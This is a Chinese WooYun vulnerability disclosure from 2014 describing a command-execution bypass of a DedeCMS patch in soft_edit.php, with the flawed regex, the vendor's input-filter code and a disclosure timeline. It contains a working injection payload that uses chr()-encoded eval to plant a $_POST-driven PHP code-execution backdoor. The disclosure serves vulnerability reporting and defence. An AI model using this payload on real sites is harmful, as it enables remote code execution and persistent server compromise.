当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052792

漏洞标题:Dedecms某命令执行漏洞(续)

相关厂商:Dedecms

漏洞作者: kobin97

提交时间:2014-03-04 21:57

修复时间:2014-06-02 21:57

公开时间:2014-06-02 21:57

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-04: 细节已通知厂商并且等待厂商处理中
2014-03-05: 厂商已经确认,细节仅向厂商公开
2014-03-08: 细节向第三方安全合作伙伴开放
2014-04-29: 细节向核心白帽子及相关领域专家公开
2014-05-09: 细节向普通白帽子公开
2014-05-19: 细节向实习白帽子公开
2014-06-02: 细节向公众公开

简要描述:

很好,今天出的补丁修复了前面的漏洞了。但看了下20140228的补丁。。
你们是欺负我不懂正则么?

详细说明:

先看: WooYun: Dedecms某命令执行漏洞
20140228的补丁对soft_edit.php增加了

if(!preg_match("#[_=&///?\.a-zA-Z0-9-]+$#i", $softurl))
{
ShowMsg("确定软件地址提交正确!", "-1");
exit;
}


想问一下,这是神马正则?
任何一个字符都能让其匹配呀。。。
测试:
添加上传软件
本地地址 http://www.hao123.com
其它乱填就行,添加成功后,再次进入修改界面
软件地址改为:
http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}xxx
注意,这里后面多了 xxx ,就是为了绕过这个正则补丁。
然后执行完全没有压力!
后来测试,在GPC OFF跟 ON下写入的地址有所区别,上面是在ON下写入的。
原因你们懂得。
在 filter.inc.php 中,你们不管 GPC ,全过滤了 addslashes。
而且对这样的$svar[$_k]直接返回错误的值了,这个BUG你们看着办吧。

function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
}
}
return addslashes($svar);
}
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}

漏洞证明:

1.jpg

修复方案:

我也不懂!

版权声明:转载请注明来源 kobin97@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-03-05 10:14

厂商回复:

已经修复,感谢您的反馈。

最新状态:

暂无